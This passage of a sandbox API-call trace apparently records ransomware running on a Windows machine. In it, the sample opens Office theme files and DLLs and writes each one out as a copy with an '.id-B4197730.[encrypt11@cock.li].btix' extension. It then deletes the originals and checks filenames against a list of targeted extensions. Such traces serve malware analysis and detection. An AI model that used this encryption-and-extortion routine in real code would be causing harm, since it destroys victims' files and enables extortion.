Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.403] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.403] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.404] GetLastError () returned 0x0 [0159.404] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xbcee, lpOverlapped=0x0) returned 1 [0159.405] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0159.406] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.406] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf2, lpOverlapped=0x0) returned 1 [0159.406] SetEndOfFile (hFile=0x2fc) returned 1 [0159.406] CloseHandle (hObject=0x2fc) returned 1 [0159.407] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.407] SetEndOfFile (hFile=0x364) returned 1 [0159.407] CloseHandle (hObject=0x364) returned 1 [0159.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0159.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.408] lstrlenW (lpString=".doc") returned 4 [0159.408] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.408] lstrlenW (lpString=".docx") returned 5 [0159.408] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.408] lstrlenW (lpString=".pdf") returned 4 [0159.408] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.408] lstrlenW (lpString=".xls") returned 4 [0159.408] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.408] lstrlenW (lpString=".xlsx") returned 5 [0159.409] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.409] lstrlenW (lpString=".ppt") returned 4 [0159.409] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString=".zip") returned 4 [0159.409] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString=".rar") returned 4 [0159.409] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString=".bz2") returned 4 [0159.409] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString=".7z") returned 3 [0159.409] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString=".dbf") returned 4 [0159.409] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString=".1cd") returned 4 [0159.409] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString=".jpg") returned 4 [0159.409] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.409] lstrlenW (lpString=".doc") returned 4 [0159.409] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString=".docx") returned 5 [0159.409] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.409] lstrlenW (lpString=".pdf") returned 4 [0159.409] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.409] lstrlenW (lpString=".xls") returned 4 [0159.410] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString=".xlsx") returned 5 [0159.410] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.410] lstrlenW (lpString=".ppt") returned 4 [0159.410] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.410] lstrlenW (lpString=".zip") returned 4 [0159.410] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString=".rar") returned 4 [0159.410] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString=".bz2") returned 4 [0159.410] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString=".7z") returned 3 [0159.410] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.410] lstrlenW (lpString=".dbf") returned 4 [0159.410] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.410] lstrlenW (lpString=".1cd") returned 4 [0159.410] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0159.410] lstrlenW (lpString=".jpg") returned 4 [0159.410] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.410] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0159.410] lstrlenW (lpString="Riblet.eftx") returned 11 [0159.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.411] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=295074) returned 1 [0159.411] CloseHandle (hObject=0x364) returned 1 [0159.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0159.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.411] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.411] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.412] GetLastError () returned 0x0 [0159.412] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0159.689] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0159.711] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.711] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1 [0159.711] SetEndOfFile (hFile=0x2fc) returned 1 [0159.711] CloseHandle (hObject=0x2fc) returned 1 [0159.711] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.711] SetEndOfFile (hFile=0x364) returned 1 [0159.713] CloseHandle (hObject=0x364) returned 1 [0159.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0159.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.715] lstrlenW (lpString=".doc") returned 4 [0159.715] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.715] lstrlenW (lpString=".docx") returned 5 [0159.715] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.716] lstrlenW (lpString=".pdf") returned 4 [0159.716] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".xls") returned 4 [0159.716] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".xlsx") returned 5 [0159.716] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.716] lstrlenW (lpString=".ppt") returned 4 [0159.716] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString=".zip") returned 4 [0159.716] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".rar") returned 4 [0159.716] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".bz2") returned 4 [0159.716] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".7z") returned 3 [0159.716] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString=".dbf") returned 4 [0159.716] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString=".1cd") returned 4 [0159.716] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString=".jpg") returned 4 [0159.716] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.716] lstrlenW (lpString=".doc") returned 4 [0159.716] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".docx") returned 5 [0159.716] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.716] lstrlenW (lpString=".pdf") returned 4 [0159.716] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.716] lstrlenW (lpString=".xls") returned 4 [0159.717] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString=".xlsx") returned 5 [0159.717] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.717] lstrlenW (lpString=".ppt") returned 4 [0159.717] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.717] lstrlenW (lpString=".zip") returned 4 [0159.717] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString=".rar") returned 4 [0159.717] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString=".bz2") returned 4 [0159.717] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString=".7z") returned 3 [0159.717] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.717] lstrlenW (lpString=".dbf") returned 4 [0159.717] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.717] lstrlenW (lpString=".1cd") returned 4 [0159.717] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0159.717] lstrlenW (lpString=".jpg") returned 4 [0159.717] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.717] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0159.717] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0159.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.718] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19136) returned 1 [0159.718] CloseHandle (hObject=0x364) returned 1 [0159.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0159.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.718] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.718] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.719] GetLastError () returned 0x0 [0159.719] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.928] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.929] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.929] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x11e, lpOverlapped=0x0) returned 1 [0159.929] SetEndOfFile (hFile=0x2fc) returned 1 [0159.929] CloseHandle (hObject=0x2fc) returned 1 [0159.929] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.929] SetEndOfFile (hFile=0x364) returned 1 [0159.930] CloseHandle (hObject=0x364) returned 1 [0159.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.931] lstrlenW (lpString=".doc") returned 4 [0159.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString=".docx") returned 5 [0159.931] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.931] lstrlenW (lpString=".pdf") returned 4 [0159.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString=".xls") returned 4 [0159.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString=".xlsx") returned 5 [0159.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.931] lstrlenW (lpString=".ppt") returned 4 [0159.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.931] lstrlenW (lpString=".zip") returned 4 [0159.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString=".rar") returned 4 [0159.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.931] lstrlenW (lpString=".bz2") returned 4 [0159.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.931] lstrlenW (lpString=".7z") returned 3 [0159.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.931] lstrlenW (lpString=".dbf") returned 4 [0159.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.931] lstrlenW (lpString=".1cd") returned 4 [0159.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString=".jpg") returned 4 [0159.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString=".doc") returned 4 [0159.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString=".docx") returned 5 [0159.932] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.932] lstrlenW (lpString=".pdf") returned 4 [0159.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString=".xls") returned 4 [0159.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString=".xlsx") returned 5 [0159.932] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.932] lstrlenW (lpString=".ppt") returned 4 [0159.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString=".zip") returned 4 [0159.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString=".rar") returned 4 [0159.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.932] lstrlenW (lpString=".bz2") returned 4 [0159.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.932] lstrlenW (lpString=".7z") returned 3 [0159.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString=".dbf") returned 4 [0159.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.932] lstrlenW (lpString=".1cd") returned 4 [0159.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0159.933] lstrlenW (lpString=".jpg") returned 4 [0159.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.933] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0159.933] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0159.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.933] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=73408) returned 1 [0159.933] CloseHandle (hObject=0x364) returned 1 [0159.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0159.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program 